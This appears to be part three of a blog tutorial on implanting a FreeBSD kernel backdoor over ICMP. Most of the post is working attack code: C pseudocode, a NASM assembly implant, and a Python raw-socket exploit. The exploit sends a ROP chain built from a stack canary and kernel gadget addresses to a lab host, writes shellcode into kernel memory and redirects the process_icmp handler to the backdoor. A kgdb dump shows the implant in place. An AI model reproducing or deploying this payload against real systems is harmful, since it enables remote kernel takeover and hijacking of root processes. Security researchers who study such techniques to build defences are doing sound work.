FreeBSD kernel ICMP backdoor (Part 3.)

Have been done the most important part in the previous series, now we'll focus on deploying the most interesting real backdoor into the remote kernel memory to further allow us to sent and install another payload.
This final payload is used to hijack a running root process.

Taking the simplicity of ICMP protocol, the same target protocol we used on our research. Our backdoor is based on a modified process_icmp function. In addition, we modify the function such if the received packet has COPY_OP in the first byte of data, we'll copy a payload to a safe memory place and if it has INSTALL_OP, we install the payload into the kernel by overwriting some function pointer or handler, as an example we can overwrite with it the address of a syscall handler.

Here is given a high level overview in C of what might look like the backdoor.
Of course, we need to re-write this in assembly languages, extract the opcodes 
and using our previous python code, we can store it in a safe place in the kernel
memory
0xffffffff80200040  is a good place.



static void
icmp_backdoor(struct mbuf **mp, int *offp, int proto)
{

 struct icmp *icmpp;
 struct mbuf *mb;
 struct ip   *ipp;
 char datap[DATA_SIZE];
 char *icmpdata;
 int  iphlen;
 int  icmplen;

        
 iphlen = *offp;
 mb = *mp;

 ipp = mtod(mb, struct ip *);
   
 icmplen = ntohs(ipp->ip_len) - iphlen;

 mb->m_len  -= iphlen;
 mb->m_data += iphlen;

 icmpp = mtod(mb, struct icmp *);

 icmpdata = mb->m_data + ICMP_HEADER;    

 memcpy(&datap[0], icmpdata, icmplen - ICMP_HEADER);

 if (datap[0] == 0)
  copy_payload();
 if (datap[1] == 1)
  install_payload();



Re-written assembly version



[BITS 64]
[ORG 0]

; objdump -D -Mintel,x86-64 -b binary -m i386 icmpback
; nasm bsd-icmp-backdoor.asm -f bin  -o icmpback

;  RDI, First param
;  RSI, second
;  RDX, third

; [rbp-0x8]
; [rbp-0x10]
; [rbp-0x14]
; [rbp-0x18] iphlen
; [rbp-0x20] mb [mbuf]
; [rbp-0x28] pointer to IP packet
; [rbp-0x2e] ICMPLEN
; [rbp-0x36] ICMPDATA pointer to ICMP packet
ADDR_MEMCPY EQU 0xffffffff80f9bf70
PAYLOAD_ADDR EQU 0xffffffff8020012c
SECTION .text
 _process_icmp:

    push rbp
    mov  rbp, rsp
    sub  rsp, 0x1000

    mov QWORD  [rbp-0x8],  rdi ; First param
    mov QWORD  [rbp-0x10], rsi ; second ; iphlenp
    mov DWORD  [rbp-0x14], edx ; third


    ; iphlen = *offp; getting ip header len off the pointer offp

    mov rax, QWORD  [rbp-0x10]
    mov edx, [rax] ; Dereferencing
    mov DWORD  [rbp-0x18], edx

    ; mb = *mp; getting the actual mbuf pointer by Dereferencing the p-to-p

    mov rax, QWORD  [rbp-0x8]
    mov rax, [rax]
    mov QWORD  [rbp-0x20], rax
          
    ; ipp = mtod(mb, struct ip *); getting pointer to struct ip

    mov rax, QWORD [rbp-0x20]
    mov rax, QWORD [rax+0x10]
    mov QWORD [rbp-0x28], rax

    ; icmplen = ntohs(ipp->ip_len) - iphlen; Getting total ICMP packet len
          

    mov rax, QWORD [rbp-0x28]
    mov cx,  WORD  [rax + 0x2]
    mov WORD [rbp-0x2a], cx
    movzx edi, WORD [rbp-0x2a]
    shl edi, 0x8
    movzx ecx, WORD [rbp-0x2a]
    sar ecx, 0x8
    or edi, ecx
    movzx edx, di
    sub edx, DWORD [rbp-0x18]
    mov DWORD [rbp-0x2e], edx


    ; mb->m_len  -= iphlen;
    ; Shink mbuff length
    mov edx, DWORD [rbp-0x18]
    mov rsi, QWORD [rbp-0x20]
    mov r8d, DWORD [rsi+0x18]
    sub r8d, edx
    mov DWORD [rsi+0x18], r8d

      ; mb->m_data += iphlen;
      ; Increment the mbuff data pointer to iphlen 
      ; Thus, we will get to the ICMP packet

    mov edx, DWORD [rbp-0x18]
    mov rsi, QWORD [rbp-0x20]
    mov r9, QWORD  [rsi+0x10]

    movsxd r10, edx
    add r9, r10
    mov QWORD [rsi+0x10], r9

      ; icmpdata = mb->m_data + ICMP_HEADER;
      ; Getting pointer to the ICMP packet

    mov rsi, QWORD [rbp-0x20]
    mov rsi, QWORD [rsi+0x10]
    add rsi, 0x8
    mov QWORD [rbp-0x36], rsi

      ;memcpy(&datap[0], icmpdata, icmplen - ICMP_HEADER);
      ; Copying  the ICMP packet to buffer
      ; ffffffff80f9bf70 memcpy function address
        
    lea rdi,[rbp-0xfa0]
    mov rsi, QWORD [rbp-0x36]
    mov ecx, DWORD [rbp-0x2e]

    sub ecx, 0x8
    movsxd rdx, ecx

    mov rax, ADDR_MEMCPY
    call rax
      
      ; if byte0 == 0
    lea rdi,[rbp-0xfa0]
    cmp BYTE [rdi], 0x0
    je copy
    jne install

copy:

      ;memcpy(targetaddress, lea rdi,[rbp-0xfa0+1], icmplen - ICMP_HEADER -1);
      ; Copying  the ICMP packet to an executable address
      ; ffffffff80f9bf70 memcpy function address

      mov rdi, PAYLOAD_ADDR
      lea rsi, [rbp-0xfa0+1]
      mov ecx, DWORD [rbp-0x2e]

      sub ecx, 0x9
      movsxd rdx, ecx

      mov rax, ADDR_MEMCPY
      call rax
      mov rsp, rbp
      pop rbp
      ret

install:
      nop
      mov rsp, rbp
      pop rbp
      ret


Assembling the above code using nasm, we can extract the opcodes, use our previous python exploit and send all of it over network.
The exploit will send after copying this backdoor another payload to overwrite the address of the process_icmp function with the address of icmp_backdoor which is 0xffffffff80200040

nasm bsdback_2.asm -f bin  -o icmpback_2
objdump -D -Mintel,x86-64 -b binary -m i386 icmpback_2

Here is our modified python exploits.

#!/usr/bin/env python
#-*- coding:utf-8 -*-

import socket
import time
import struct
import datetime

from struct import pack
import sys
import os

""" 
    backdoor_www
    Backdoor write what where
"""
backdoor_www = b"\x48\x89\x18\x90\x90\x90\x90"

def build_payload(mov_addr, mov_8bytes_data, mov_8bytes_data_2):
    

    # Moving 8 bytes write primitive shelllcode to .0xffffffff80200000
    
    payload = b""
    payload += pack("<Q", 0xb2a6dfa7b603102f)   # Stack canary
    payload += pack("<Q", 0x4141414141414141)   #RBP


    # Deploing back door [Real kernel payload]

    
    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret
    
    payload += mov_addr     # mov rax, addr

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)



    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000 + 0x8)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret
    

    payload += mov_8bytes_data  # mov rbx, data [mov rbx, 0x4141414141414141]

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)


    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret
    
    payload += mov_8bytes_data_2   # Rest of data.

    payload += backdoor_www  # The www shellcode [mov    QWORD PTR [rax],rbx] Plus some nop.

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)

   

    # Moving Stack unrolling shelllcode.



    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret
    
    payload += b"\x48\x83\xc4\x08\x81\x3c\x24\xad"

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)
    

    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8 + 0x8)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret

    payload += b"\xde\xad\xba\x75\xf3\x81\x7c\x24"

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)


    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret

    payload += b"\x08\xad\xde\xef\xbe\x75\xe9\x48"

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)

    payload += pack("<Q", 0xffffffff8036615e)  # pop rsi ; ret
    payload += pack("<Q", 0xffffffff80200000 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8 + 0x8)
    payload += pack("<Q", 0xffffffff80270178)  # pop rdx ; ret

    payload += b"\x83\xc4\x28\x5d\xc3"
    payload += b"\x90\x90\x90"

    payload += pack("<Q", 0xffffffff80b19e3f)  # mov qword ptr [rsi], rdx ; pop rbp ; ret
    payload += pack("<Q", 0x4141414141414141)


    payload += pack("<Q", 0xffffffff8025c768)  # pop rax ; ret
    payload += pack("<Q", 0xffffffff80200000)
    payload += pack("<Q", 0xffffffff81534dff)  # jmp rax
    payload += pack("<Q", 0x4141414141414141)
    payload += pack("<Q", 0x4141414141414141)

    return payload


def exploit(ip_addr, mov_addr, mov_8bytes_data, mov_8bytes_data_2):
    # create a socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)

    # compose icmp payload
    icmp_s_type = 8 # Echo Request
    icmp_s_code = 0
    icmp_s_id = 1
    icmp_s_seq = 0


    icmp_s_data = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    icmp_s_data += b"AAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCC"   
    icmp_s_data += build_payload(mov_addr, mov_8bytes_data, mov_8bytes_data_2)


    icmp_s_payload = struct.pack("!2B2H", icmp_s_type, icmp_s_code, icmp_s_id, icmp_s_seq)
    icmp_s_payload += icmp_s_data

    csum = 32767

    icmp_s_payload = icmp_s_payload[:4] + struct.pack("!h", csum) + icmp_s_payload[4:]


    print len(icmp_s_data)

    # send the icmp packet
    sock.sendto(icmp_s_payload, ip_addr)
    



def main():
    """
    192.168.56.101
    """
    ip_addr = ("192.168.56.101",0)

    exploit(ip_addr, b'\x48\xc7\xc0\x40\x00\x20\x80\x48',  b"\xbb\x55\x48\x89\xe5\x48\x81\xec", b"\x00")
    exploit(ip_addr, b'\x48\xc7\xc0\x48\x00\x20\x80\x48',  b"\xbb\x10\x00\x00\x48\x89\x7d\xf8", b"\x48")
    exploit(ip_addr, b'\x48\xc7\xc0\x50\x00\x20\x80\x48',  b"\xbb\x89\x75\xf0\x89\x55\xec\x48", b"\x8b")
    exploit(ip_addr, b'\x48\xc7\xc0\x58\x00\x20\x80\x48',  b"\xbb\x45\xf0\x8b\x10\x89\x55\xe8", b"\x48")
    exploit(ip_addr, b'\x48\xc7\xc0\x60\x00\x20\x80\x48',  b"\xbb\x8b\x45\xf8\x48\x8b\x00\x48", b"\x89")
    exploit(ip_addr, b'\x48\xc7\xc0\x68\x00\x20\x80\x48',  b"\xbb\x45\xe0\x48\x8b\x45\xe0\x48", b"\x8b")
    exploit(ip_addr, b'\x48\xc7\xc0\x70\x00\x20\x80\x48',  b"\xbb\x40\x10\x48\x89\x45\xd8\x48", b"\x8b")
    exploit(ip_addr, b'\x48\xc7\xc0\x78\x00\x20\x80\x48',  b"\xbb\x45\xd8\x66\x8b\x48\x02\x66", b"\x89")
    exploit(ip_addr, b'\x48\xc7\xc0\x80\x00\x20\x80\x48',  b"\xbb\x4d\xd6\x0f\xb7\x7d\xd6\xc1", b"\xe7")
    exploit(ip_addr, b'\x48\xc7\xc0\x88\x00\x20\x80\x48',  b"\xbb\x08\x0f\xb7\x4d\xd6\xc1\xf9", b"\x08")
    exploit(ip_addr, b'\x48\xc7\xc0\x90\x00\x20\x80\x48',  b"\xbb\x09\xcf\x0f\xb7\xd7\x2b\x55", b"\xe8")
    exploit(ip_addr, b'\x48\xc7\xc0\x98\x00\x20\x80\x48',  b"\xbb\x89\x55\xd2\x8b\x55\xe8\x48", b"\x8b")
    exploit(ip_addr, b'\x48\xc7\xc0\xa0\x00\x20\x80\x48',  b"\xbb\x75\xe0\x44\x8b\x46\x18\x41", b"\x29")
    exploit(ip_addr, b'\x48\xc7\xc0\xa8\x00\x20\x80\x48',  b"\xbb\xd0\x44\x89\x46\x18\x8b\x55", b"\xe8")
    exploit(ip_addr, b'\x48\xc7\xc0\xb0\x00\x20\x80\x48',  b"\xbb\x48\x8b\x75\xe0\x4c\x8b\x4e", b"\x10")
    exploit(ip_addr, b'\x48\xc7\xc0\xb8\x00\x20\x80\x48',  b"\xbb\x4c\x63\xd2\x4d\x01\xd1\x4c", b"\x89")
    exploit(ip_addr, b'\x48\xc7\xc0\xc0\x00\x20\x80\x48',  b"\xbb\x4e\x10\x48\x8b\x75\xe0\x48", b"\x8b")
    exploit(ip_addr, b'\x48\xc7\xc0\xc8\x00\x20\x80\x48',  b"\xbb\x76\x10\x48\x83\xc6\x08\x48", b"\x89")
    exploit(ip_addr, b'\x48\xc7\xc0\xd0\x00\x20\x80\x48',  b"\xbb\x75\xca\x48\x8d\xbd\x60\xf0", b"\xff")
    exploit(ip_addr, b'\x48\xc7\xc0\xd8\x00\x20\x80\x48',  b"\xbb\xff\x48\x8b\x75\xca\x8b\x4d", b"\xd2")
    exploit(ip_addr, b'\x48\xc7\xc0\xe0\x00\x20\x80\x48',  b"\xbb\x83\xe9\x08\x48\x63\xd1\x48", b"\xc7")
    exploit(ip_addr, b'\x48\xc7\xc0\xe8\x00\x20\x80\x48',  b"\xbb\xc0\x70\xbf\xf9\x80\xff\xd0", b"\x48")
    exploit(ip_addr, b'\x48\xc7\xc0\xf0\x00\x20\x80\x48',  b"\xbb\x48\x8d\xbd\x60\xf0\xff\xff", b"\x80")
    exploit(ip_addr, b'\x48\xc7\xc0\xf8\x00\x20\x80\x48',  b"\xbb\x3f\x00\x74\x02\x75\x20\x48", b"\xc7")
    exploit(ip_addr, b'\x48\xc7\xc0\x00\x01\x20\x80\x48',  b"\xbb\xc7\x2c\x01\x20\x80\x48\x8d", b"\xb5")
    exploit(ip_addr, b'\x48\xc7\xc0\x08\x01\x20\x80\x48',  b"\xbb\x61\xf0\xff\xff\x8b\x4d\xd2", b"\x83")
    exploit(ip_addr, b'\x48\xc7\xc0\x10\x01\x20\x80\x48',  b"\xbb\xe9\x09\x48\x63\xd1\x48\xc7", b"\xc0")
    exploit(ip_addr, b'\x48\xc7\xc0\x18\x01\x20\x80\x48',  b"\xbb\x70\xbf\xf9\x80\xff\xd0\x90", b"\x90")
    exploit(ip_addr, b'\x48\xc7\xc0\x20\x01\x20\x80\x48',  b"\xbb\x48\x89\xec\x5d\xc3\x90\x48", b"\x89")
    exploit(ip_addr, b'\x48\xc7\xc0\x28\x01\x20\x80\x48',  b"\xbb\xec\x5d\xc3\x90\x90\x90\x90", b"\x90")

    """
    The use of this is to overwrite the address of the process_icmp with the address of the backdoor.
    """
    exploit(ip_addr, b'\x48\xc7\xc0\x48\xb6\xa7\x81\x48',  b"\xc7\xc3\x40\x00\x20\x80\x48\x89", b"\x18")


if __name__ == "__main__":
    main()


Checking the target freebsd memory reveal us the following was stored successfully.

Continuing.
[New Thread 100064]

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 100064]
kdb_sysctl_enter (oidp=0xffffffff81a61370, arg1=<value optimized out>, arg2=<value optimized out>, req=0xfffffe00002b4840) at /usr/src/sys/kern/subr_kdb.c:479
479                     kdb_why = KDB_WHY_UNSET;
(kgdb) x/100i 0xffffffff80200040
0xffffffff80200040:     push   rbp
0xffffffff80200041:     mov    rbp,rsp
0xffffffff80200044:     sub    rsp,0x1000
0xffffffff8020004b:     mov    QWORD PTR [rbp-0x8],rdi
0xffffffff8020004f:     mov    QWORD PTR [rbp-0x10],rsi
0xffffffff80200053:     mov    DWORD PTR [rbp-0x14],edx
0xffffffff80200056:     mov    rax,QWORD PTR [rbp-0x10]
0xffffffff8020005a:     mov    edx,DWORD PTR [rax]
0xffffffff8020005c:     mov    DWORD PTR [rbp-0x18],edx
0xffffffff8020005f:     mov    rax,QWORD PTR [rbp-0x8]
0xffffffff80200063:     mov    rax,QWORD PTR [rax]
0xffffffff80200066:     mov    QWORD PTR [rbp-0x20],rax
0xffffffff8020006a:     mov    rax,QWORD PTR [rbp-0x20]
0xffffffff8020006e:     mov    rax,QWORD PTR [rax+0x10]
0xffffffff80200072:     mov    QWORD PTR [rbp-0x28],rax
0xffffffff80200076:     mov    rax,QWORD PTR [rbp-0x28]
0xffffffff8020007a:     mov    cx,WORD PTR [rax+0x2]
0xffffffff8020007e:     mov    WORD PTR [rbp-0x2a],cx
0xffffffff80200082:     movzx  edi,WORD PTR [rbp-0x2a]
0xffffffff80200086:     shl    edi,0x8
0xffffffff80200089:     movzx  ecx,WORD PTR [rbp-0x2a]
0xffffffff8020008d:     sar    ecx,0x8
0xffffffff80200090:     or     edi,ecx
0xffffffff80200092:     movzx  edx,di

That's all for this part. The idea of using the ICMP protocol as backdoor was taken from http://www.vulnfactory.org/research/ by Dan Rosenberg.

Comments